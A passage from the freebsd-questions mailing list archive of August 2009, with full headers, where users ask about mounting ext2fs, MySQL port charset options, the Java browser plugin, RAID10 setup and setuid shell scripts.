type of > editor would be used to do such a thing? Perhaps a snip of C code that > one could pass in the address as a parameter? /usr/src/usr.bin/truss/syscalls.c has some examples of how to do this. See the get_struct() function. -- Dan Nelson dnelson@allantgroup.com From owner-freebsd-questions@FreeBSD.ORG Fri Aug 28 18:18:11 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 8DDDC106566C for ; Fri, 28 Aug 2009 18:18:11 +0000 (UTC) (envelope-from kernelsr@ig.com.br) Received: from qw-out-2122.google.com (qw-out-2122.google.com [74.125.92.25]) by mx1.freebsd.org (Postfix) with ESMTP id 5776A8FC18 for ; Fri, 28 Aug 2009 18:18:11 +0000 (UTC) Received: by qw-out-2122.google.com with SMTP id 3so511581qwe.7 for ; Fri, 28 Aug 2009 11:18:10 -0700 (PDT) MIME-Version: 1.0 Received: by 10.224.84.133 with SMTP id j5mr1357132qal.149.1251482042468; Fri, 28 Aug 2009 10:54:02 -0700 (PDT) Date: Fri, 28 Aug 2009 14:54:02 -0300 Message-ID: <684a7ac90908281054w64ea4b3bk4a85a108bb8bb0a4@mail.gmail.com> From: SERGIO RODRIGO DE CAMARGO PAULI To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Subject: header intact X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 28 Aug 2009 18:18:11 -0000 ---------- Forwarded message ---------- From: Date: 2009/8/27 Subject: confirm db8171874c7371bf6bd54819ad65dd3191f7b202 To: kernelsr@ig.com.br Mailing list removal confirmation notice for mailing list freebsd-questions We have received a request for the removal of your email address, "kernelsr@ig.com.br" from the freebsd-questions@freebsd.org mailing list. To confirm that you want to be removed from this mailing list, simply reply to this message, keeping the Subject: header intact. Or visit this web page: http://lists.freebsd.org/mailman/confirm/freebsd-questions/db8171874c7371bf6bd54819ad65dd3191f7b202 Or include the following line -- and only the following line -- in a message to freebsd-questions-request@freebsd.org: confirm db8171874c7371bf6bd54819ad65dd3191f7b202 Note that simply sending a `reply' to this message should work from most mail readers, since that usually leaves the Subject: line in the right form (additional "Re:" text in the Subject: is okay). If you do not wish to be removed from this list, please simply disregard this message. If you think you are being maliciously removed from the list, or have any other questions, send them to freebsd-questions-owner@freebsd.org. From owner-freebsd-questions@FreeBSD.ORG Fri Aug 28 19:00:43 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 72726106564A for ; Fri, 28 Aug 2009 19:00:43 +0000 (UTC) (envelope-from fernando.apesteguia@gmail.com) Received: from mail-ew0-f209.google.com (mail-ew0-f209.google.com [209.85.219.209]) by mx1.freebsd.org (Postfix) with ESMTP id F12678FC13 for ; Fri, 28 Aug 2009 19:00:42 +0000 (UTC) Received: by ewy5 with SMTP id 5so1410045ewy.36 for ; Fri, 28 Aug 2009 12:00:42 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:cc:content-type; bh=k0F78ckbU2/L3YUFH9H4kZgQdfl4j+S6rA16w86ZaDw=; b=NZuTuxnqRCT3S2VAJJKBmlhRbeHcFafizPX20hFw13S6bS5/YiHBKA+A3gLs+E7T89 OT/p1aHFNnpIms93Juwi4V875roEkmgqEaNEUPYqhfXGiFnGDIJqaM0bogy03pCQAnAu eCKwC2/npt042xf5F8BqfZeCSZP8OtO//JOlw= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; b=cYoxF7TIIXTAqlRIYbpR+68vaeTYZm6VNyntH7UXRILstyfqzwj/2MYT8JNhk/fDLp J7KSWvXWSU4Vo4nb1ee4ihJwUQJiM5Dpkq1DrfDkIjo8iyg3Xnd42/KS2py1nxLfriu2 AHjR51DP7CTV4iPgBrs/xwiErgo1qrHeVOYcE= MIME-Version: 1.0 Received: by 10.211.130.19 with SMTP id h19mr1712004ebn.54.1251486042012; Fri, 28 Aug 2009 12:00:42 -0700 (PDT) In-Reply-To: References: Date: Fri, 28 Aug 2009 21:00:41 +0200 Message-ID: <1bd550a00908281200p6284838o7ca66303f45826a2@mail.gmail.com> From: =?ISO-8859-1?Q?Fernando_Apestegu=EDa?= To: Jeronimo Calvo Content-Type: text/plain; charset=ISO-8859-1 Cc: Polytropon , Gonzalo Nemmi , freebsd-questions@freebsd.org Subject: Re: (solved) Re: Problem mounting EXT2FS X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 28 Aug 2009 19:00:43 -0000 On Tue, Aug 25, 2009 at 12:17 AM, Jeronimo Calvo wrote: > Thanks a lot fellas!! problem resolved!!! Did you try to unmount the filesystem? I applied the patch against 7.2-RELEASE-p3 and I can't unmount it: Device busy. Anyone else with this problem? Cheers > > On 24/08/2009, Gonzalo Nemmi wrote: >> >> On Monday 24 August 2009 6:44:24 pm Jeronimo Calvo wrote: >> > True you are right... I was using the incorrect syntax and the >> > incorrect word hehehhe >> > >> > well I did try as well using the correct procedure: >> > >> > Thats the result (mounted but not accesible) >> > >> > [root@ /media/DATOSWIN]# mount >> > /dev/ad8s1a on / (ufs, local) >> > devfs on /dev (devfs, local) >> > /dev/ad8s1e on /tmp (ufs, local, soft-updates) >> > /dev/ad8s1f on /usr (ufs, local, soft-updates) >> > /dev/ad8s1d on /var (ufs, local, soft-updates) >> > /dev/ntfs/DATOSWIN on /media/DATOSWIN (ntfs, local, nosuid) >> > [root@ /media/DATOSWIN]# *mount -t ext2fs /dev/ad6s1 /ext2* >> > [root@ /media/DATOSWIN]# cd /ext2 >> > *bash: cd: /ext2: Not a directory* >> > [root@ /media/DATOSWIN]# ls -la /ext2 >> > *ls: /ext2: Bad file descriptor* >> > [root@ /media/DATOSWIN]# >> > >> >> >> Here's the problem: >> http://www.freebsd.org/cgi/query-pr.cgi?pr=kern/124621 >> >> Here's how to solve it: >> http://forums.freebsd.org/showthread.php?t=912&highlight=ext2fs >> >> >> > 2009/8/24 Polytropon >> > >> > > Maybe just malquoted, but... >> > > >> > > On Mon, 24 Aug 2009 20:20:29 +0000, Jeronimo Calvo < >> > > >> > > jeronimocalvop@googlemail.com> wrote: >> > > > # mount -t extfs2 /dev/ad6s1 /ext2 >> > > > mount: /dev/ad6s1 : Operation not supported by device >> > > >> > > The command should include -t ext2fs, not extfs2, as far as I >> > > remember. I haven't run Linux for almost 10 years now... >> > > >> > > > I tried several times, with not luck, one of those times i was >> > > > able to >> > > >> > > mount >> > > >> > > > it, but not to access it, when i tried to cd /ext2 (folder when >> > > > is >> > > >> > > mounted) >> > > >> > > > system tells me that ext2 is not a folder... >> > > >> > > There are no "folders" in the UNIX file system hierarchy. The >> > > things you're mentioning are called directories. I know, that's >> > > "just" terminology, but it's important to use the correct words >> > > context-wise. You don't call the files "sheets of paper", do you? >> > > :-) >> > > >> > > >> > > >> > > >> > > >> > > -- >> > > Polytropon >> > > Magdeburg, Germany >> > > Happy FreeBSD user since 4.0 >> > > Andra moi ennepe, Mousa, ... >> > >> >> > _______________________________________________ >> > freebsd-questions@freebsd.org mailing list >> > http://lists.freebsd.org/mailman/listinfo/freebsd-questions >> > To unsubscribe, send any mail to >> > "freebsd-questions-unsubscribe@freebsd.org" >> >> >> >> -- >> Blessings >> >> Gonzalo Nemmi >> > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > From owner-freebsd-questions@FreeBSD.ORG Fri Aug 28 22:36:07 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id EB8251065716 for ; Fri, 28 Aug 2009 22:36:07 +0000 (UTC) (envelope-from lordi@msdi.ca) Received: from relais.videotron.ca (relais.videotron.ca [24.201.245.36]) by mx1.freebsd.org (Postfix) with ESMTP id BE7FE8FC15 for ; Fri, 28 Aug 2009 22:36:07 +0000 (UTC) MIME-version: 1.0 Received: from server2.msdi.local ([24.201.151.151]) by VL-MH-MR002.ip.videotron.ca (Sun Java(tm) System Messaging Server 6.3-4.01 (built Aug 3 2007; 32bit)) with ESMTP id <0KP300M14W069P40@VL-MH-MR002.ip.videotron.ca> for freebsd-questions@freebsd.org; Fri, 28 Aug 2009 17:36:06 -0400 (EDT) Date: Fri, 28 Aug 2009 17:34:53 -0400 Content-class: urn:content-classes:message Message-id: X-MIMEOLE: Produced By Microsoft Exchange V6.5 X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-topic: MySql54 Port With_CHARSET and WITH_XCHARSET Thread-index: AcooJ2dqnXttYHasRs+vxjMD7HNIsA== From: Ian Lord To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Subject: MySql54 Port With_CHARSET and WITH_XCHARSET X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 28 Aug 2009 22:36:08 -0000 Hi, =20 I am wondering if there is a problem with the port or if there is = something I don't understand about mysql configure options... =20 Doing: cd /usr/ports/databases/mysql54-server make WITH_CHARSET=3Dutf8 WITH_XCHARSET=3Dnone make install =20 It sounds like the only charset that should be available would be utf8 = but if I send a "show charset" query on the server, it lists them all... =20 I am trying to compile while making sure there is only one charset on = the server... did I missed something or is it a bug with the port or = with mysql ? =20 Thanks ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Ian Lord MSD Informatique 143 Rue des Fauvettes St-Colomban (Qu=E9bec) J5K 0E2 T=E9l: (514) 776-MSDI -> (514) 776-6734 Sans Frais: 1(877) 776-MSDI -> 1(877) 776-6734 http://www.msdi.ca =20 From owner-freebsd-questions@FreeBSD.ORG Fri Aug 28 22:39:06 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 58FEB106564A; Fri, 28 Aug 2009 22:39:06 +0000 (UTC) (envelope-from andy@neu.net) Received: from neu.net (neu.net [199.237.202.236]) by mx1.freebsd.org (Postfix) with ESMTP id 03C7B8FC08; Fri, 28 Aug 2009 22:39:05 +0000 (UTC) Received: from neu.net (neu.net [199.237.202.236]) by neu.net (8.13.6.20060614/8.13.6) with ESMTP id n7SMPELS057345; Fri, 28 Aug 2009 22:25:16 GMT Date: Fri, 28 Aug 2009 22:25:14 +0000 (GMT) From: AN To: freebsd-questions@freebsd.org Message-ID: User-Agent: Alpine 1.10 (BSF 962 2008-03-14) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; format=flowed; charset=US-ASCII X-Virus-Scanned: clamav-milter 0.95.1 at neu.net X-Virus-Status: Clean Cc: freebsd-gnome@freebsd.org Subject: java config problem X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 28 Aug 2009 22:39:06 -0000 I'm trying to configure java on FreeBSD 7-stable and Gnome 2.26.3, with Firefox35. I tried the following commands, but still no ability to view java applets. ln -s libjavaplugin_oji.so /usr/local/lib/firefox/plugins ln -s libjavaplugin_oji.so /usr/local/lib/firefox3/plugins ln libjavaplugin_oji.so /usr/local/lib/firefox3/plugins installed package's: pkg_info | grep java javavmwrapper-2.3.3 Wrapper script for various Java Virtual Machines pkg_info | grep jdk diablo-jdk-1.6.0.07.02 Java Development Kit 1.6.0_07.02 Any help to get this working would be really appreciated. TIA From owner-freebsd-questions@FreeBSD.ORG Fri Aug 28 22:40:03 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id C0C451065674 for ; Fri, 28 Aug 2009 22:40:03 +0000 (UTC) (envelope-from kraduk@googlemail.com) Received: from mail-bw0-f206.google.com (mail-bw0-f206.google.com [209.85.218.206]) by mx1.freebsd.org (Postfix) with ESMTP id 504438FC20 for ; Fri, 28 Aug 2009 22:40:03 +0000 (UTC) Received: by bwz2 with SMTP id 2so1740492bwz.43 for ; Fri, 28 Aug 2009 15:40:02 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=googlemail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:content-type; bh=gi7jeZxBzMMiuK/LkUjVWbKBrMNvwAawms1K6C4zmrU=; b=XNj5t5zSyHzyzCfrj5uT7HsSNL+2j0I1mxcSWiktAawRPHwo3sMzCAgq5qmlL+WW83 5k1r/TYR8qnyPHdI9ttVrFvs63X39WcMGMBOTPs1R6ti9oau5p3oMtFVm10M2kQ5u8Xj o3b5axDRyCXAwunH6e7AJRXiUtc6EbzUJMx3g= DomainKey-Signature: a=rsa-sha1; c=nofws; d=googlemail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; b=msvj9TX93BTKMf+chjdey5JXOJFuZPSl8duFiuzDfyZ3G15lBmn+5zMY70yINc/bs3 v1b/7K+3+lW8wpYlXT1osSJEjOb0k2xFBhJQiedgzo9e9x/VIJpoUMEpm8G0ZmEhTetI KndHNyYglTlKpWMHThtCWBwf2VY+5s2zqdaKE= MIME-Version: 1.0 Received: by 10.102.80.14 with SMTP id d14mr616483mub.73.1251499202037; Fri, 28 Aug 2009 15:40:02 -0700 (PDT) In-Reply-To: <55fa7b3a0908280408k49bc0a6i8110647152da13b1@mail.gmail.com> References: <55fa7b3a0908280408k49bc0a6i8110647152da13b1@mail.gmail.com> Date: Fri, 28 Aug 2009 23:40:01 +0100 Message-ID: From: krad To: Phil Lewis , freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 Cc: Subject: Re: RAID10 setup X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 28 Aug 2009 22:40:03 -0000 Make yourself a bootable usb stick with freebsd on i find mine very useful for installs like yours On 8/28/09, Phil Lewis wrote: > We got there! > > Thanks for the encouragement. It took a few more steps, and I > couldn't get geom_mirror or geom_stripe to kldload from the > Fixit environment and so did it all from a clean install instead. > > All that remains is to move my /usr onto the new file system. > > It worked. > > Thanks again > > Phil > > -- > Ram Ram > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > -- Sent from my mobile device From owner-freebsd-questions@FreeBSD.ORG Fri Aug 28 23:13:43 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 9AB091065670 for ; Fri, 28 Aug 2009 23:13:43 +0000 (UTC) (envelope-from gesbbb@yahoo.com) Received: from smtp107.prem.mail.ac4.yahoo.com (smtp107.prem.mail.ac4.yahoo.com [76.13.13.46]) by mx1.freebsd.org (Postfix) with SMTP id 2FA598FC1A for ; Fri, 28 Aug 2009 23:13:42 +0000 (UTC) Received: (qmail 35821 invoked from network); 28 Aug 2009 23:13:42 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=Received:X-Yahoo-SMTP:X-YMail-OSG:X-Yahoo-Newman-Property:Received:Date:From:To:Subject:Message-ID:In-Reply-To:References:Reply-To:Organization:X-Mailer:Face:Mime-Version:Content-Type:Content-Transfer-Encoding; b=y+cr75hKs6WjPdB7ZA5b7ShcPuNPiNz+uS12eFsQvMMgqSMxMl2dWaBZzigrFxHregEDRZeeZcBsIyqippFTSQhiX/DHf+3tr4AlsDESjV/NRgl+5aLg7BesO4pcQ01zovfvNBsxzmkFg1P8XjwMJjZ7ljhW1gUYMTnowofCHhE= ; Received: from c-67-189-183-172.hsd1.ny.comcast.net (gesbbb@67.189.183.172 with login) by smtp107.prem.mail.ac4.yahoo.com with SMTP; 28 Aug 2009 16:13:42 -0700 PDT X-Yahoo-SMTP: yeAAMgKswBATCul4lSbCWspvTA-- X-YMail-OSG: T8Fjy88VM1kF1SyNMeru0DYR_VPCl.ox.TgVLNMwhYLw6qr0b0.iVc0CWq4qwMv6BTmGCzDD4PW14aQdNT7aWkolLF5no_IP6Zk7CDmfbDrhcb8.3o59DOD3aYXT6eWNb04frF5lMB2.VSuhq6IIVg8UGgs3mBh94Kph4i9EBmo1wzY6ASvAfxVyaUm0rPRc14TzfjskQnD6lqDaqyXT.bPQbObdNAjF755j6YB5Dxec1yiDwvdkmRUyDoGvjzitPjxZ1vJvmBqyAjEnEKBLPgGLLbxiEYUyqPZ0dxfKNNCqDaXkvG4uIAZxdmAaebJne8f.T7ZuhVuDMWYbuoKftZf9iNjl9huDDAJyx3lYEF4OYsAK_yMo8HynleGMAA-- X-Yahoo-Newman-Property: ymail-3 Received: from scorpio.seibercom.net (localhost [127.0.0.1]) (Authenticated sender: gesbbb@scorpio.seibercom.net) by scorpio.seibercom.net (Postfix) with ESMTPA id ED22A22831 for ; Fri, 28 Aug 2009 19:13:41 -0400 (EDT) Date: Fri, 28 Aug 2009 19:13:41 -0400 From: Jerry To: freebsd-questions@freebsd.org Message-ID: <20090828191341.4892963a@scorpio.seibercom.net> In-Reply-To: References: Organization: seibercom.net X-Mailer: Claws Mail 3.7.2 (GTK+ 2.16.5; i386-portbld-freebsd7.2) Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAwBAMAAAClLOS0AAAAGFBMVEX+/v7++v6YOTrq8PCcuIX989UvOSj++v0BNCbpAAAAB3RJTUUHsQwfFzs7RBhzUQAAAhJJREFUOI1dU8GOqzAMNKIoV1bvwD1i0ysqrHplIdBrVSX7ATSbd03VVvn9tQNtQy0hjAdn7LED4AAcPtWm9RV+MPSfxhBLx9ajd6X/ngB6/mTwnRSZua7i7Ca+0ctZKo4Qmz+JY13X6I3nFZBxIYW1PbgfQ5RP8g0XlltEWGf3cV03joYpRnFbvYDKbXjZlXyyhEZA4lI+cN3NaVXE4VKjSwTExO10eTEkkJVqIAD5z0nUBQJluQDRSQjcrBiHAJxZlAH5CUMBMC7OcJ4LMQNnxhZ1HYPscMc6J4UlWRMNwzOpCcAHKSICd1EDn83abdREIbXsHkD1OinP1aCUCOEVRaa1lMcvywUWdYgk13JQUpYNKmvXQ8Kw5ML9YI5h8SakctBc7E/IYuLhYd/zZIk+1gM1vNweQBvHE0j+oYah3sMqAytQYlZk6+ANaaawJdu3OFzYGMZ3iGpa3qMlq9ZH0VZTgrCtw/ngdYkEIIpSbP1bWQAdFdX9vocBdkH2qVjVmuMu3gI5rjs814EUdrCZgWlPaxZZ3RiLFUtr+ud0PXwp2dnQSNXgePt6AZpBj6UMJ7VQkzN4utVeaSW1Dhn/kblGrKeMvNGnzwX4zuEDarYz1KdPtR60Gul0Gued+515SJXhCsl+Tx/3kY/UDvicPll9mfu50t3tvQ/thZpJYgeuwdSKNJ6tCD98MCgoxLDaPxbwqqwPWaWiAAAAAElFTkSuQmCC X-Face: "\j?x](l|]4p?-1Bf@!wN<&p=$.}^k-HgL}cJKbQZ3r#Ar]\%U(#6}'?<3s7%(%(gxJxxcR Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: Re: java config problem X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 28 Aug 2009 23:13:43 -0000 On Fri, 28 Aug 2009 22:25:14 +0000 (GMT) AN wrote: > I'm trying to configure java on FreeBSD 7-stable and Gnome 2.26.3, > with Firefox35. I tried the following commands, but still no ability > to view java applets. > > ln -s libjavaplugin_oji.so /usr/local/lib/firefox/plugins > ln -s libjavaplugin_oji.so /usr/local/lib/firefox3/plugins > ln libjavaplugin_oji.so /usr/local/lib/firefox3/plugins > > installed package's: > pkg_info | grep java > javavmwrapper-2.3.3 Wrapper script for various Java Virtual Machines > pkg_info | grep jdk > diablo-jdk-1.6.0.07.02 Java Development Kit 1.6.0_07.02 Please don't cross post. Check out: http://www.freebsd.org/doc/en/books/handbook/desktop-browsers.html -- Jerry gesbbb@yahoo.com When you speak to others for their own good it's advice; when they speak to you for your own good it's interference. From owner-freebsd-questions@FreeBSD.ORG Sat Aug 29 00:11:31 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 9E0721065672 for ; Sat, 29 Aug 2009 00:11:31 +0000 (UTC) (envelope-from freebsd@edvax.de) Received: from mx01.qsc.de (mx01.qsc.de [213.148.129.14]) by mx1.freebsd.org (Postfix) with ESMTP id 5DFBF8FC08 for ; Sat, 29 Aug 2009 00:11:31 +0000 (UTC) Received: from r55.edvax.de (port-92-195-1-225.dynamic.qsc.de [92.195.1.225]) by mx01.qsc.de (Postfix) with ESMTP id 712903D2DA; Sat, 29 Aug 2009 02:11:29 +0200 (CEST) Received: from r55.edvax.de (localhost [127.0.0.1]) by r55.edvax.de (8.14.2/8.14.2) with SMTP id n7T0BSgS001570; Sat, 29 Aug 2009 02:11:28 +0200 (CEST) (envelope-from freebsd@edvax.de) Date: Sat, 29 Aug 2009 02:11:28 +0200 From: Polytropon To: Jeronimo Calvo Message-Id: <20090829021128.f4966942.freebsd@edvax.de> In-Reply-To: References: Organization: EDVAX X-Mailer: Sylpheed 2.4.7 (GTK+ 2.12.1; i386-portbld-freebsd7.0) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Cc: freebsd-questions@freebsd.org Subject: Re: SUID permission on Bash script X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Polytropon List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 29 Aug 2009 00:11:31 -0000 On Fri, 28 Aug 2009 09:24:35 +0100, Jeronimo Calvo wrote: > content of script: > ]#!/usr/local/bin/bash ^ This ] doesn't belong to the script, does it? Furthermore, why do you employ bash for calling another program? It's standard to use sh (#!/bin/sh) if you don't use bash-specific commands and constructs, and I don't see them here. If you care for portablility, such a script is an absulute no-go. Furthermore, in order to perform shutdown -p now it's more convenient to use the sudo command (from ports) and add a rule (for maximum security) for the specific user who you want to be able to run this command. Finally, it's possible to place the user in question into the group "operator", then he can perform the above command without needing (1st) sudo and (2nd) bash. Look at the permissions of the shutdown program: -r-sr-x--- 1 root operator /sbin/shutdown* Members of "operator" are +x for this binary. -- Polytropon Magdeburg, Germany Happy FreeBSD user since 4.0 Andra moi ennepe, Mousa, ... From owner-freebsd-questions@FreeBSD.ORG Sat Aug 29 01:24:48 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 8A37B106564A for ; Sat, 29 Aug 2009 01:24:48 +0000 (UTC) (envelope-from rwmaillists@googlemail.com) Received: from ey-out-2122.google.com (ey-out-2122.google.com [74.125.78.24]) by mx1.freebsd.org (Postfix) with ESMTP id 1BDE58FC1B for ; Sat, 29 Aug 2009 01:24:47 +0000 (UTC) Received: by ey-out-2122.google.com with SMTP id 4so132803eyf.3 for ; Fri, 28 Aug 2009 18:24:47 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=googlemail.com; s=gamma; h=domainkey-signature:received:received:date:from:to:subject :message-id:in-reply-to:references:x-mailer:mime-version :content-type:content-transfer-encoding; bh=7ePZJjI840nVw2O1IgVwv1OEF34zKx3tfi+Tbz+a+Xs=; b=pjWerxyrZ92wSq2U0nD4Ccp3vvRXGWdT+ZBB7o6WEchbh1ZijJH2Vz2piel6EmsoLm fy5KnXu7mr/pSGHuzQ7hxwvzelQBDLl580h+2S3mzFaWdgVW/DJC32fNHQYi87iBXmrS +/85oXaFW6CmyzuiOuTWRDBu4RMjW+zrulKCQ= DomainKey-Signature: a=rsa-sha1; c=nofws; d=googlemail.com; s=gamma; h=date:from:to:subject:message-id:in-reply-to:references:x-mailer :mime-version:content-type:content-transfer-encoding; b=diN87gjrPw9Fo7HAZIa5SdHRzZzszVTcE357slRcREkfHDlp8Y5ma7SHNifSjQg92f dJKkr5ADKSzHiNOVScud7obXG4mWjUZEkVz6mRXtIu0ZkUfDT6MytyaPiAs67SMW0TUv FcqSFlVQZsAwW7GU4WVMHk3IamdwwYLdC/1b8= Received: by 10.210.139.17 with SMTP id m17mr1137933ebd.7.1251509087250; Fri, 28 Aug 2009 18:24:47 -0700 (PDT) Received: from gumby.homeunix.com (bb-87-81-140-128.ukonline.co.uk [87.81.140.128]) by mx.google.com with ESMTPS id 7sm1184917eyg.36.2009.08.28.18.24.41 (version=SSLv3 cipher=RC4-MD5); Fri, 28 Aug 2009 18:24:46 -0700 (PDT) Date: Sat, 29 Aug 2009 02:24:31 +0100 From: RW To: freebsd-questions@freebsd.org Message-ID: <20090829022431.5841d4de@gumby.homeunix.com> In-Reply-To: <87y6p4pbd0.fsf@kobe.laptop> References: <87y6p4pbd0.fsf@kobe.laptop> X-Mailer: Claws Mail 3.7.2 (GTK+ 2.16.5; i386-portbld-freebsd7.2) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: Re: SUID permission on Bash script X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 29 Aug 2009 01:24:48 -0000 On Fri, 28 Aug 2009 11:54:19 +0300 Giorgos Keramidas wrote: > On Fri, 28 Aug 2009 09:24:35 +0100, Jeronimo Calvo > wrote: > > As far as i know, using SUID, script must runs with root > > permissions... so i shoudnt get "Permission denied", what im doing > > wrong?? > > No it must not. There are security reasons why shell scripts are not > setuid-capable. You can find some of them in the archives of the > mailing list, going back at least until 1997. I'm bit puzzled by this, previous threads have given the impression that this is a myth, for example: http://www.mail-archive.com/freebsd-questions@freebsd.org/msg185134.html So are scripts actually incapable of running setuid? From owner-freebsd-questions@FreeBSD.ORG Sat Aug 29 02:11:00 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 1443A1065672 for ; Sat, 29 Aug 2009 02:11:00 +0000 (UTC) (envelope-from tajudd@gmail.com) Received: from mail-yw0-f171.google.com (mail-yw0-f171.google.com [209.85.211.171]) by mx1.freebsd.org (Postfix) with ESMTP id C32DE8FC08 for ; Sat, 29 Aug 2009 02:10:59 +0000 (UTC) Received: by ywh1 with SMTP id 1so3326671ywh.9 for ; Fri, 28 Aug 2009 19:10:59 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:cc:content-type; bh=iaQFRqOGSMlKEVhfy86xwDENu/b/P73bIdmHOOKgGYc=; b=WaJ2e9HRThkgsGErHOH1zLZtjiL/01r5MXuwoxcdrxD9DYBskcpc4OIlYDcYUJxW9p 5MCF8reHK2FdFhIHiGCffwtcAt2GLMBE6kX9MQ243HusZ4lj1KSGM0ZZD/KK/44w2HQ3 /6t3oMShxao1aa/qwV3zHDtTeY58h2Qy3StYc= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; b=CWSz8MvPvbqbJR0SShL0MSInnTOvANBjl31Ke8suackDJIilPPOGLUZAE6x4lNc/XB 3iFw9uMEBc7Ekr/+Q7lYaKuPdEByKVryPBQ6srm1Dobw6BSQ1DRsDVXzjT5a3ENpWp9b ZGva7rGN8emwF7kT/HvlSAXW9T+mb/W27UrkY= MIME-Version: 1.0 Received: by 10.100.17.20 with SMTP id 20mr2031387anq.41.1251511859183; Fri, 28 Aug 2009 19:10:59 -0700 (PDT) In-Reply-To: <20090829022431.5841d4de@gumby.homeunix.com> References: <87y6p4pbd0.fsf@kobe.laptop> <20090829022431.5841d4de@gumby.homeunix.com> Date: Fri, 28 Aug 2009 20:10:59 -0600 Message-ID: From: Tim Judd To: RW Content-Type: text/plain; charset=ISO-8859-1 Cc: freebsd-questions@freebsd.org Subject: Re: SUID permission on Bash script 